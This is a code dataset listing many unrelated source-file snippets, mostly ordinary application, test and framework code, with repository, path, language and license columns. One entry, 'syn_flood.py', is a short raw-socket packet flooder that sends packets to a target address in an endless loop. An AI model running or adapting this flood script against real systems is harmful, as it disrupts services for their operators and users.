code
stringlengths
3
1.05M
repo_name
stringlengths
4
116
path
stringlengths
4
991
language
stringclasses
9 values
license
stringclasses
15 values
size
int32
3
1.05M
module SpreeSuppliers module Generators class InstallGenerator < Rails::Generators::Base include Rails::Generators::Migration def add_javascripts append_file "app/assets/javascripts/store/all.js", "//= require store/spree_suppliers\n" append_file "app/assets/javascripts/admin/all.js"...
johndavid400/spree_suppliers
lib/generators/spree_suppliers/install/install_generator.rb
Ruby
bsd-3-clause
1,110
/* Copyright (c) 2016, Technikradio All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following d...
Technikradio/Node2
src/tests/org/technikradio/node/tests/engine/SettingsPageTest.java
Java
bsd-3-clause
2,311
/******************************************************************************* * Copyright SemanticBits, Northwestern University and Akaza Research * * Distributed under the OSI-approved BSD 3-Clause License. * See http://ncip.github.com/caaers/LICENSE.txt for details. *************************************...
NCIP/caaers
caAERS/software/core/src/main/java/gov/nih/nci/cabig/caaers/validation/ValidationErrors.java
Java
bsd-3-clause
1,634
<?php namespace common\models; use Yii; use yii\base\Model; use yii\data\ActiveDataProvider; use common\models\Fund; /** * FundSearch represents the model behind the search form about `common\models\Fund`. */ class FundSearch extends Fund { /** * @inheritdoc */ public function rules() { ...
specialnote/myYii
common/models/FundSearch.php
PHP
bsd-3-clause
2,090
<?php namespace backend\controllers\settings; use Yii; use yii\filters\AccessControl; use yii\web\Controller; use yii\filters\VerbFilter; use backend\models\settings\Details; use yii\web\User; /** * Site controller */ class DetailsController extends Controller { /** * @inheritdoc */ public functio...
ocrm/crm
backend/controllers/settings/DetailsController.php
PHP
bsd-3-clause
1,893
<?php defined('SYSPATH') OR die('No direct access allowed.'); class Jam_Behavior_Promotable_Purchase extends Kohana_Jam_Behavior_Promotable_Purchase {}
OpenBuildings/promotions
classes/Jam/Behavior/Promotable/Purchase.php
PHP
bsd-3-clause
153
# Copyright 2012 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Finds browsers that can be controlled by telemetry.""" import logging from telemetry import decorators from telemetry.internal.backends.chrome import an...
catapult-project/catapult-csm
telemetry/telemetry/internal/browser/browser_finder.py
Python
bsd-3-clause
6,167
<?php // module/SousRubrique/src/SousRubrique/Form/SousRubriqueForm.php: namespace Galerie\Form; use Zend\Form\Form; use Zend\Form\Element; use Rubrique\Model\RubriqueDao; use Contenu\Form\ContenuForm; /** * Class GalerieForm * @package Galerie\Form */ class GalerieForm extends ContenuForm { /** * @ret...
rongeb/anit_cms_for_zf3
module/Galerie/src/Form/GalerieForm.php
PHP
bsd-3-clause
1,872
import os from django.core.management.base import BaseCommand from django.conf import settings from fabtastic import db class Command(BaseCommand): args = '[<output_file_path>]' help = 'Dumps a SQL backup of your entire DB. Defaults to CWD.' def get_dump_path(self, db_alias): ...
duointeractive/django-fabtastic
fabtastic/management/commands/ft_dump_db.py
Python
bsd-3-clause
1,185
# -*- coding: utf-8 -*- import json import datetime from djangocms_text_ckeditor.cms_plugins import TextPlugin from djangocms_text_ckeditor.models import Text from django.contrib import admin from django.contrib.admin.models import LogEntry from django.contrib.admin.sites import site from django.contrib.auth import ge...
timgraham/django-cms
cms/tests/test_admin.py
Python
bsd-3-clause
63,904
package necromunda; import java.util.*; import com.jme3.material.Material; import com.jme3.scene.*; public class PathNode extends NecromundaNode { public PathNode(String name) { super(name); } public void setMaterial(Material material) { Spatial base = getChild("pathBoxGeometry"); base.setMaterial(materia...
Tibotanum/Necromunda
src/necromunda/PathNode.java
Java
bsd-3-clause
749
# Copyright (c) 2010-2012 ARM Limited # All rights reserved. # # The license below extends only to copyright in the software and shall # not be construed as granting a license to any other intellectual # property including but not limited to intellectual property relating # to a hardware implementation of the functiona...
lokeshjindal15/gem5_transform
configs/common/FSConfig.py
Python
bsd-3-clause
21,365
from tcp_ip_raw_socket import * def main(): fd = createSocket() pkt = buildPacket("10.1.1.2", "10.1.1.1", 54321, 80, "Hello, how are you?") try: print "Starting flood" while True: sendPacket(fd, pkt, "10.1.1.2") except KeyboardInterrupt: print "Closing..." if __name__ == "__main__": main()
Digoss/funny_python
syn_flood.py
Python
bsd-3-clause
310
<?php /** * Garp_Log * class description * * @package Garp * @author Harmen Janssen <harmen@grrr.nl> */ class Garp_Log extends Zend_Log { /** * Shortcut to fetching a configured logger instance * * @param array|Zend_Config $config Array or instance of Zend_Config * @return Zend_Log ...
grrr-amsterdam/garp3
library/Garp/Log.php
PHP
bsd-3-clause
1,317
// Copyright (c) 2014, Sailing Lab // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are met: // // 1. Redistributions of source code must retain the above copyright notice, // this list of conditions an...
zengjichuan/jetuum
src/petuum_ps_common/include/constants.hpp
C++
bsd-3-clause
1,709
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE TS> <TS version="2.1" language="el_GR"> <context> <name>XDGDesktopList</name> <message> <location filename="../../../core/libLumina/LuminaXDG.cpp" line="608"/> <source>Multimedia</source> <translation type="unfinished"></translation> <...
cpforbes/lumina
src-qt5/desktop-utils/lumina-calculator/i18n/l-calc_el.ts
TypeScript
bsd-3-clause
6,376
// Copyright (c) 2011 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "base/i18n/rtl.h" #include "base/files/file_path.h" #include "base/logging.h" #include "base/strings/string_util.h" #include "base/strings/s...
ChromiumWebApps/chromium
base/i18n/rtl.cc
C++
bsd-3-clause
13,232
using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.Diagnostics; using System.Reflection; namespace AppGene.Common.Entities.Infrastructure.Inferences { public class ReferencePropertyGetter { /// <summary> /// Gets the reference c...
snyang/AppGene
Development/AppGene/AppGene.Common.Entities.Infrastructure/Inferences/ReferencePropertyGetter.cs
C#
bsd-3-clause
2,191
<?php /** * [BEGIN_COT_EXT] * Hooks=page.add.tags, page.edit.tags * [END_COT_EXT] */ /** * plugin landingextrapage for Cotonti Siena * * @package landingextrapage * @version 1.0.0 * @author esclkm * @copyright * @license BSD * */ // Generated by Cotonti developer tool (littledev.ru) defined('COT_CODE...
esclkm/hod
plugins/landingextrapage/landingextrapage.page.add.tags.php
PHP
bsd-3-clause
568
<?php namespace backend\models; use Yii; use yii\base\Model; use yii\data\ActiveDataProvider; use common\models\Post; /** * PostSearch represents the model behind the search form about `common\models\Post`. */ class PostSearch extends Post { /** * @inheritdoc */ public function rules() { ...
rob94/BlogYii
backend/models/PostSearch.php
PHP
bsd-3-clause
2,100
<?php use yii\helpers\Html; use yii\grid\GridView; /* @var $this yii\web\View */ /* @var $searchModel backend\models\FilialSearch */ /* @var $dataProvider yii\data\ActiveDataProvider */ $this->title = 'Филилы организаций'; $this->params['breadcrumbs'][] = $this->title; if (Yii::$app->user->can('manager')) $temp...
N1kolayS/PCExpert
backend/views/filial/index.php
PHP
bsd-3-clause
1,530
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "ui/base/dragdrop/os_exchange_data_provider_win.h" #include <algorithm> #include <vector> #include "base/file_path.h" #include "base/i18n/f...
nacl-webkit/chrome_deps
ui/base/dragdrop/os_exchange_data_provider_win.cc
C++
bsd-3-clause
33,704
<?php use yii\helpers\Html; use yii\widgets\ActiveForm; /* @var $this yii\web\View */ /* @var $model app\models\SentitemsSearch */ /* @var $form yii\widgets\ActiveForm */ ?> <div class="sentitems-search"> <?php $form = ActiveForm::begin([ 'action' => ['index'], 'method' => 'get', ]); ?> ...
nmfzone/yiisms
views/sentitems/_search.php
PHP
bsd-3-clause
1,573
<?php namespace app\modules\usuarios\models; use Yii; use kartik\password\StrengthValidator; /** * This is the model class for table "usuarios". * * @property integer $id_usuario * @property integer $fl_perfil * @property integer $fl_persona * @property string $username * @property string $clave * @property ...
delgado161/extranet
modules/usuarios/models/Usuarios.php
PHP
bsd-3-clause
4,242
require 'spec_helper' describe QuestionController do describe "GET answer" do it "assigns quantities" do get :answer, :q => 'shipping 10 tonnes of stuff for 1000 kilometres' assigns(:quantities).map{|x| x.to_s}.should eql ['10.0 t', '1000.0 km'] end it "assigns terms" do get :answ...
OpenAMEE/askamee
spec/controllers/question_controller_spec.rb
Ruby
bsd-3-clause
2,459
// Copyright (c) 2013 Intel Corporation. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "xwalk/sysapps/common/common_api_browsertest.h" #include "base/path_service.h" #include "base/strings/utf_string_conversions.h" #include "conte...
shaochangbin/crosswalk
sysapps/common/common_api_browsertest.cc
C++
bsd-3-clause
6,721
package org.grassroot.android.models.responses; import org.grassroot.android.models.Group; import org.grassroot.android.models.helpers.RealmString; import io.realm.RealmList; import io.realm.RealmObject; /** * Created by luke on 2016/07/13. */ public class GroupsChangedResponse extends RealmObject { private R...
grassrootza/grassroot-android
app/src/main/java/org/grassroot/android/models/responses/GroupsChangedResponse.java
Java
bsd-3-clause
1,127
<?php use yii\helpers\Html; use yii\widgets\ActiveForm; /* @var $this yii\web\View */ /* @var $model app\models\Facultycourse */ /* @var $form yii\widgets\ActiveForm */ ?> <div class="facultycourse-form"> <?php $form = ActiveForm::begin(); ?> <?= $form->field($model, 'courses')->dropDownList($courses, ['mu...
tbcabagay/ficdatabase
modules/main/views/facultycourse/_form.php
PHP
bsd-3-clause
526
__author__ = 'Bohdan Mushkevych' from threading import Thread from werkzeug.wrappers import Request from werkzeug.wsgi import ClosingIterator from werkzeug.middleware.shared_data import SharedDataMiddleware from werkzeug.exceptions import HTTPException, NotFound from werkzeug.serving import run_simple from synergy.con...
mushkevych/scheduler
synergy/mx/synergy_mx.py
Python
bsd-3-clause
5,162
// Copyright 2015 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "modules/fetch/ReadableStreamDataConsumerHandle.h" #include "bindings/core/v8/ReadableStreamOperations.h" #include "bindings/core/v8/ScriptState...
highweb-project/highweb-webcl-html5spec
third_party/WebKit/Source/modules/fetch/ReadableStreamDataConsumerHandleTest.cpp
C++
bsd-3-clause
19,032
// // Scaled - a scalable editor extensible via JVM languages // http://github.com/scaled/scaled/blob/master/LICENSE package scaled; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; /** * Defines a config...
swhgoon/scaled
api/src/main/java/scaled/Var.java
Java
bsd-3-clause
753
<?php use Zend\View; use \CodeEmailMKT\Infrastructure; use CodeEmailMKT\Application\Form\{CustomerForm, LoginForm, TagForm}; use CodeEmailMKT\Application\Form\Factory\{CustomerFormFactory, LoginFormFactory, TagFormFactory}; $forms = [ 'dependencies' => [ 'aliases' => [ ], 'invokables' => ...
yuri-calabrez/code-education-php7
config/autoload/form.global.php
PHP
bsd-3-clause
996
// vim:filetype=java:ts=4 /* Copyright (c) 2005, 2006, 2007 Conor McDermottroe. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright ...
conormcd/exemplar
src/com/mcdermottroe/exemplar/input/InputException.java
Java
bsd-3-clause
3,051
package sensor; import core.Sensor; import edu.wpi.first.wpilibj.Joystick; import event.events.ButtonEvent; import event.events.XboxJoystickEvent; import event.listeners.ButtonListener; import event.listeners.XboxJoystickListener; import java.util.Enumeration; import java.util.Vector; /** * Wrapper class for an XBox...
grt192/grtframework
src/sensor/GRTXBoxJoystick.java
Java
bsd-3-clause
6,230
<?php namespace core\users\controllers\frontend; use core\fileapi\actions\UploadAction as FileAPIUpload; use core\users\models\frontend\Email; use core\users\models\frontend\PasswordForm; use core\users\models\Profile; use core\users\Module; use yii\filters\AccessControl; use yii\web\Controller; use yii\web\Response;...
MovieDogBall/Testwork
vendor/core/yii2-users-module/controllers/frontend/UserController.php
PHP
bsd-3-clause
4,168
'use strict'; const assert = require('assert'); const { Observable } = require('rx-lite'); /** * * @param {Rx.Observable} observable * @param {function} fn * @returns {Rx.IPromise<void>} */ function checkError(observable, fn) { const OK = {}; return observable .catch(err => { fn(err); return...
groupon/shared-store
test/check-error.js
JavaScript
bsd-3-clause
468
/* TEMPLATE GENERATED TESTCASE FILE Filename: CWE762_Mismatched_Memory_Management_Routines__delete_long_realloc_12.cpp Label Definition File: CWE762_Mismatched_Memory_Management_Routines__delete.label.xml Template File: sources-sinks-12.tmpl.cpp */ /* * @description * CWE: 762 Mismatched Memory Management Rout...
JianpingZeng/xcc
xcc/test/juliet/testcases/CWE762_Mismatched_Memory_Management_Routines/s04/CWE762_Mismatched_Memory_Management_Routines__delete_long_realloc_12.cpp
C++
bsd-3-clause
4,494
///////////////////////////////////////////////////////////////////////////// // Program: wxWidgets Widgets Sample // Name: fontpicker.cpp // Purpose: Shows wxFontPickerCtrl // Author: Francesco Montorsi // Created: 20/6/2006 // Copyright: (c) 2006 Francesco Montorsi // Licence: wxWindows ...
ric2b/Vivaldi-browser
update_notifier/thirdparty/wxWidgets/samples/widgets/fontpicker.cpp
C++
bsd-3-clause
6,890
require 'mxx_ru/cpp' MxxRu::Cpp::exe_target { required_prj "ace/dll.rb" target "_microbench.demand_queue_2_bench_1" cpp_source "main.cpp" }
Free4Lila/s-objectizer
so_5/5.2.4-microbenchmarking/dev/microbenchmarks/so_5/demand_queue_2_bench_1/prj.rb
Ruby
bsd-3-clause
147
#include "ClangInvoker.h" #include "ThreadExecutor.h" #include "windycode/Support.h" #include <unistd.h> #include "gtest/gtest.h" namespace windycode { namespace clang { namespace { class CharDeleter { public: void operator()(char *p) { free(p); } }; static std::string getUnittestPath() { static std::string Path;...
Chilledheart/windycode
src/ClangSupport/ClangInvoker_unittest.cc
C++
bsd-3-clause
8,378
from datetime import datetime import inspect import numpy as np import pytest from pandas.core.dtypes.common import ( is_categorical_dtype, is_interval_dtype, is_object_dtype, ) from pandas import ( Categorical, DataFrame, DatetimeIndex, Index, IntervalIndex, Series, Timestamp...
TomAugspurger/pandas
pandas/tests/frame/test_alter_axes.py
Python
bsd-3-clause
8,801
<?php namespace app\models; use Yii; class Measure extends \yii\db\ActiveRecord { public static function tableName() { return '{{%measure}}'; } public function getColum($cnum, $date, $row, $col) { $obj = self::find()->where([ 'cnum' => $cnum, 'da...
realphp/yii2-admin
models/Measure.php
PHP
bsd-3-clause
946
#include "gtest/gtest.h" #include "C3_Stack.hh" TEST( StackTest, Construct ) { C3::size_type nframes = 2; C3::size_type ncolumns = 3; C3::size_type nrows = 4; C3::Stack< int > container( nframes, ncolumns, nrows ); EXPECT_EQ( nframes , container.nframes() ); EXPECT_EQ( ncolumns, conta...
rcthomas/C3
testing/013-stack-test.cc
C++
bsd-3-clause
3,107
/* * * Copyright 2015, Google Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of condi...
chenbaihu/grpc
src/compiler/cpp_generator.cc
C++
bsd-3-clause
30,007
# -*- coding: utf-8 -*- import os.path import cherrypy from ws4py.server.cherrypyserver import WebSocketPlugin, WebSocketTool from ws4py.server.handler.threadedhandler import WebSocketHandler, EchoWebSocketHandler class BroadcastWebSocketHandler(WebSocketHandler): def received_message(self, m): cherrypy.e...
progrium/WebSocket-for-Python
example/droid_sensor_cherrypy_server.py
Python
bsd-3-clause
2,324
// File: curvature.cc // Abstract: determine curvature of surface points on binary volume // // ref. Tracing Surfaces for Surfacing Traces // Sander & Zucker // // ref. Surface Parameterization and Curvature Measurement // of Arbitrary 3-D Objects: Five Pratical Methods // Stokely and Wu, PAMI vol. 14, 1...
clwyatt/CTC
Reference/HongLi/src/capd/curvature.cc
C++
bsd-3-clause
12,147
# -*- coding: utf-8 -*- # ----------------------------------------------------------------------------- # Copyright (c) Vispy Development Team. All Rights Reserved. # Distributed under the (new) BSD License. See LICENSE.txt for more info. # ----------------------------------------------------------------------------- ...
Eric89GXL/vispy
examples/basics/scene/isocurve_for_trisurface.py
Python
bsd-3-clause
1,317
<?php namespace EmailMarketing\Domain\Entity; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; class Contato { private $id; private $nome; private $email; private $tags; public function __construct() { $this->tags = new ArrayCollection(); ...
adaoex/email-marketing
src/EmailMarketing/Domain/Entity/Contato.php
PHP
bsd-3-clause
1,436
<?php defined('SYSPATH') or die('No direct script access.'); abstract class Kohana_UI { /** * Return assets from Masher config. Utilize 3.0 helpers (http://kohanaframework.org/3.0/guide/api/HTML) * * // Call position or type specific assets * UI::masher('footer', 'js', $page); * * @author Michael Dyer ...
listenrightmeow/KOHANA-UI
modules/ui/classes/kohana/ui.php
PHP
bsd-3-clause
2,622
""" Forest of trees-based ensemble methods. Those methods include random forests and extremely randomized trees. The module structure is the following: - The ``BaseForest`` base class implements a common ``fit`` method for all the estimators in the module. The ``fit`` method of the base ``Forest`` class calls th...
kevin-intel/scikit-learn
sklearn/ensemble/_forest.py
Python
bsd-3-clause
102,940
<?php namespace ZfcUser\Service; use Interop\Container\ContainerInterface; use Zend\Authentication\AuthenticationService; use Zend\Form\Form; use Zend\ServiceManager\ServiceManager; use Zend\Crypt\Password\Bcrypt; use Zend\Hydrator; use ZfcUser\EventManager\EventProvider; use ZfcUser\Mapper\UserInterface as UserMappe...
ZF-Commons/ZfcUser
src/ZfcUser/Service/User.php
PHP
bsd-3-clause
7,992
package synergynet3.web.apps.numbernet.shared; import java.io.Serializable; import com.google.gwt.user.client.rpc.IsSerializable; /** * Represents an individual person. * * @author dcs0ah1 */ public class Participant implements Serializable, IsSerializable { /** The Constant serialVersionUID. */ private stati...
synergynet/synergynet3.1
synergynet3.1-parent/synergynet3-numbernet-core/src/main/java/synergynet3/web/apps/numbernet/shared/Participant.java
Java
bsd-3-clause
896
/*=================================================================== The Medical Imaging Interaction Toolkit (MITK) Copyright (c) German Cancer Research Center, Division of Medical and Biological Informatics. All rights reserved. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty o...
NifTK/MITK
Modules/SurfaceInterpolation/mitkReduceContourSetFilter.cpp
C++
bsd-3-clause
16,276
/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package FRC867.Nano2014.commands; /** * * @author Mike */ public class StartCompressor extends CommandBase { public StartC...
FRC867/Nano2014
src/FRC867/Nano2014/commands/StartCompressor.java
Java
bsd-3-clause
983
#include <apps_sfdl_gen/ramput_fast_micro_v_inp_gen.h> #include <apps_sfdl_hw/ramput_fast_micro_v_inp_gen_hw.h> #include <apps_sfdl_gen/ramput_fast_micro_cons.h> //This file will NOT be overwritten by the code generator, if it already //exists. make clean will also not remove this file. ramput_fast_microVerifierInpGe...
srinathtv/pepper
pepper/apps_sfdl_hw/ramput_fast_micro_v_inp_gen_hw.cpp
C++
bsd-3-clause
873
<?php namespace Book\Entity; use Doctrine\ORM\Mapping as ORM; use Zend\Form\Annotation\Hydrator; use Zend\Stdlib\Hydrator\ClassMethods; use Zend\Stdlib\Hydrator as Hy; /** * Author * * @ORM\Table(name="author") * @ORM\Entity * @ORM\Entity(repositoryClass="Book\Repository\AuthorRepository") */ class Author { ...
fxcosta/Zend2SkeletonForProof
module/Book/src/Book/Entity/Author.php
PHP
bsd-3-clause
1,933
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/browser/ui/ash/launcher/chrome_launcher_controller_per_browser.h" #include <vector> #include "ash/launcher/launcher_model.h" #inclu...
codenote/chromium-test
chrome/browser/ui/ash/launcher/chrome_launcher_controller_per_browser.cc
C++
bsd-3-clause
47,718
package me.michidk.zsurvivalgames.utils; import org.bukkit.Bukkit; import org.bukkit.Location; import org.bukkit.entity.Player; import java.util.ArrayList; import java.util.List; /** * Created with IntelliJ IDEA. * User: ml * Date: 03.09.13 * Time: 13:33 * To change this template use File | Settings | File Temp...
FuseMCNetwork/ZSurvivalGames
src/main/java/me/michidk/zsurvivalgames/utils/MathHelper.java
Java
bsd-3-clause
1,791
<?php namespace DevGroup\DeferredTasks\Tests; class ExampleTest extends \PHPUnit_Framework_TestCase { public function testExample() { $this->assertEquals('foo', 'foo'); } }
DevGroup-ru/yii2-deferred-tasks
tests/ExampleTest.php
PHP
bsd-3-clause
195
#include <crtdbg.h> #include "stdafx.h" #include <et/core/tools.h> #include <et/gui/fontgen.h> using namespace et; using namespace et::gui; const int maxFontSize = 128; const int maxFontOffset = 32; void displayHelp(_TCHAR* argv[]) { std::cout << "Using: " << std::endl << getFileName(argv[0]) << ...
sergeyreznik/et-engine
tools/FontGen/main.cpp
C++
bsd-3-clause
2,573
package ru.evgeniyosipov.facshop.store.ejb; import ru.evgeniyosipov.facshop.entity.Administrator; import ru.evgeniyosipov.facshop.entity.Groups; import javax.ejb.Stateless; import javax.persistence.EntityManager; import javax.persistence.PersistenceContext; import javax.persistence.Query; import ru.evgeniyosipov.facsh...
evgeniyosipov/facshop
facshop-store/src/main/java/ru/evgeniyosipov/facshop/store/ejb/AdministratorBean.java
Java
bsd-3-clause
2,075
/** * Keydown * */ module.exports = function() { /* * this swallows backspace keys on any non-input element. * stops backspace -> back */ var rx = /INPUT|SELECT|TEXTAREA/i; $('body').bind("keydown keypress", function(e) { var key = e.keyCode || e.which; if( key == 8) {...
vulcan-estudios/bsk
src/app/helpers/events/keypress/backspace.js
JavaScript
bsd-3-clause
552
<?php use yii\helpers\Html; use yii\grid\GridView; /* @var $this yii\web\View */ /* @var $searchModel app\modules\autoparts\models\PartOverSearch */ /* @var $dataProvider yii\data\ActiveDataProvider */ $this->title = 'Part Overs'; $this->params['breadcrumbs'][] = $this->title; ?> <div class="part-over-index"> <...
kd-brinex/kd
modules/autoparts/views/over/index.php
PHP
bsd-3-clause
1,271
using System; using System.Linq; using System.Linq.Expressions; using FluentNHibernate.Automapping.TestFixtures; using FluentNHibernate.Conventions.Helpers.Builders; using FluentNHibernate.Conventions.Instances; using FluentNHibernate.Mapping; using FluentNHibernate.MappingModel; using FluentNHibernate.MappingM...
MiguelMadero/fluent-nhibernate
src/FluentNHibernate.Testing/ConventionsTests/OverridingFluentInterface/ManyToOneConventionTests.cs
C#
bsd-3-clause
6,014
from __future__ import unicode_literals from celery_longterm_scheduler import get_scheduler from celery_longterm_scheduler.conftest import CELERY import mock import pendulum @CELERY.task def echo(arg): return arg def test_should_store_all_arguments_needed_for_send_task(celery_worker): # Cannot do this with ...
ZeitOnline/celery_longterm_scheduler
src/celery_longterm_scheduler/tests/test_task.py
Python
bsd-3-clause
3,059
<?php return [ 'class' => 'yii\db\Connection', 'dsn' => 'mysql:host=localhost;dbname=yii2basic', 'username' => 'root', 'password' => 'mariadb', 'charset' => 'utf8', ];
hrydi/yii_
config/db.php
PHP
bsd-3-clause
189
/** * Copyright (c) 2009-2015, rultor.com * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: 1) Redistributions of source code must retain the above * copyright notice, this list of conditio...
joansmith/rultor
src/main/java/com/rultor/agents/github/Question.java
Java
bsd-3-clause
2,379
// Copyright 2009-2013 Matvei Stefarov <me@matvei.org> using System; using System.Collections.Generic; using System.Linq; namespace fCraft { static class ChatCommands { public static void Init() { CommandManager.RegisterCommand( CdSay ); CommandManager.RegisterCommand( CdStaff ); ...
111WARLOCK111/Caznowl-Cube-Zombie
fCraft/Commands/ChatCommands.cs
C#
bsd-3-clause
18,005
@javax.xml.bind.annotation.XmlSchema(namespace = "http://dto7.api.echosign", elementFormDefault = javax.xml.bind.annotation.XmlNsForm.QUALIFIED) package echosign.api.clientv20.dto7;
OBHITA/Consent2Share
ThirdParty/adobe-echosign-api/src/main/java/echosign/api/clientv20/dto7/package-info.java
Java
bsd-3-clause
182
// Copyright 2014 - anova r&d bvba. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package freckle import ( "fmt" "net/http" "net/http/httptest" "testing" "github.com/stretchr/testify/assert" ) const domain = "mydomain" const token =...
gertv/go-freckle
freckle_test.go
GO
bsd-3-clause
1,325
package expo.modules.application; import android.app.Activity; import android.content.Context; import android.content.pm.PackageInfo; import android.content.pm.PackageManager; import android.os.Build; import android.os.RemoteException; import android.provider.Settings; import android.util.Log; import com.android.inst...
exponent/exponent
packages/expo-application/android/src/main/java/expo/modules/application/ApplicationModule.java
Java
bsd-3-clause
6,171
#include <test/unit/math/test_ad.hpp> TEST(MathMixMatFun, subRow) { auto f = [](int i, int j, int k) { return [=](const auto& y) { return stan::math::sub_row(y, i, j, k); }; }; Eigen::MatrixXd a(1, 1); a << 3.2; stan::test::expect_ad(f(1, 1, 0), a); stan::test::expect_ad(f(1, 1, 1), a); Eigen::Matri...
stan-dev/math
test/unit/math/mix/fun/sub_row_test.cpp
C++
bsd-3-clause
1,112
/* @flow */ 'use strict'; import { document } from '../dom/dom'; export default function () : boolean { return Boolean( (document) && (typeof document.querySelector !== 'undefined') ); }
cinecove/defunctr
lib/checks/hasQuerySelectorCheck.js
JavaScript
bsd-3-clause
201
<?php namespace backend\models; use Yii; use yii\base\Model; use yii\data\ActiveDataProvider; use backend\models\TaxonomyItems; /** * TaxonomyItemsSearch represents the model behind the search form about `app\models\TaxonomyItems`. */ class TaxonomyItemsSearch extends TaxonomyItems { /** * @inheritdoc ...
babagay/razzd
backend/models/TaxonomyItemsSearch.php
PHP
bsd-3-clause
1,352
# proxy module from pyface.ui.wx.system_metrics import *
enthought/etsproxy
enthought/pyface/ui/wx/system_metrics.py
Python
bsd-3-clause
57
#ifndef __ISOLATION_MODULE_HPP__ #define __ISOLATION_MODULE_HPP__ #include <string> namespace mesos { namespace internal { namespace slave { class Framework; class Slave; class IsolationModule { public: static IsolationModule * create(const std::string &type); static void destroy(IsolationModule *module); ...
benh/twesos
src/slave/isolation_module.hpp
C++
bsd-3-clause
992
<?php namespace frontend\models\money; use Yii; /** * This is the model class for table "fin_quota". * * @property integer $quota_id * @property integer $user_id * @property string $quota_amount * @property string $quota_desc * @property integer $quota_status * @property integer $addtime */ class Quota exte...
wangpengzhen/web
frontend/models/money/Quota.php
PHP
bsd-3-clause
1,084
/* Copyright (c) 2010-2018, Delft University of Technology * All rigths reserved * * This file is part of the Tudat. Redistribution and use in source and * binary forms, with or without modification, are permitted exclusively * under the terms of the Modified BSD license. You should have received *...
DominicDirkx/tudat
Tudat/Astrodynamics/Aerodynamics/UnitTests/unitTestControlSurfaceIncrements.cpp
C++
bsd-3-clause
19,487
/* Copyright (c) 1996-2004, Adaptec Corporation * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * - Redistributions of source code must retain the above copyright notice, this * list of...
barak/raidutils
raideng/scsi_mgr.cpp
C++
bsd-3-clause
15,972
using System; using System.Runtime.InteropServices; namespace ch12_crossplatform_metasploit_payloads { class MainClass { [DllImport("kernel32")] static extern IntPtr VirtualAlloc(IntPtr ptr, IntPtr size, IntPtr type, IntPtr mode); [UnmanagedFunctionPointer(CallingConvention.Winapi)] delegate void WindowsRu...
brandonprry/gray_hat_csharp_code
ch4_crossplatform_metasploit_payloads/Program.cs
C#
bsd-3-clause
7,542
package org.hisp.dhis.period; /* * Copyright (c) 2004-2015, University of Oslo * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyrig...
kakada/dhis2
dhis-api/src/main/java/org/hisp/dhis/period/FinancialPeriodType.java
Java
bsd-3-clause
6,505
<?php use yii\helpers\Html; use yii\widgets\ActiveForm; /* @var $this yii\web\View */ /* @var $model app\models\ClinicaFoneSearch */ /* @var $form yii\widgets\ActiveForm */ ?> <div class="clinica-fone-search"> <?php $form = ActiveForm::begin([ 'action' => ['index'], 'method' => 'get', ]); ?>...
baccaglini/labvet
views/clinica-fone/_search.php
PHP
bsd-3-clause
822
<? $_in_help_content_page=True; include('../_header.php'); ?> <div > <h1>About</h1> <h2><a name="history"></a>History</h2> <p>Paxtoncrafts Charitable Trust was formed in 2000 after a favourite uncle suffered a stroke, robbing him of his speech and the ability to read and write. His intellect was unimpaired...
straight-street/straight-street
Helpfiles/about.php
PHP
bsd-3-clause
4,326
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "build/build_config.h" #include "chrome/browser/ui/browser.h" #include "chrome/browser/ui/browser_tabstrip.h" #include "chrome/browser/ui/ful...
zcbenz/cefode-chromium
chrome/browser/ui/fullscreen/fullscreen_controller_state_unittest.cc
C++
bsd-3-clause
21,739
# -*- coding: utf-8 -*- # Generated by Django 1.11.6 on 2017-10-12 08:55 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion import tagulous.models.fields class Migration(migrations.Migration): dependencies = [ ('core', '0001_initial'), ]...
Candihub/pixel
apps/core/migrations/0002_auto_20171012_0855.py
Python
bsd-3-clause
1,878
/* * Copyright 2010 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #include "SkImageInfo.h" #include "SkReadBuffer.h" #include "SkWriteBuffer.h" static bool profile_type_is_valid(SkColorProfileType profileType) { return (profileType >= 0...
chenlian2015/skia_from_google
src/core/SkImageInfo.cpp
C++
bsd-3-clause
2,443
#!/usr/bin/env python3 #============================================================================== # author : Pavel Polishchuk # date : 14-08-2019 # version : # python_version : # copyright : Pavel Polishchuk 2019 # license : #===========================================...
DrrDom/crem
crem/__init__.py
Python
bsd-3-clause
379
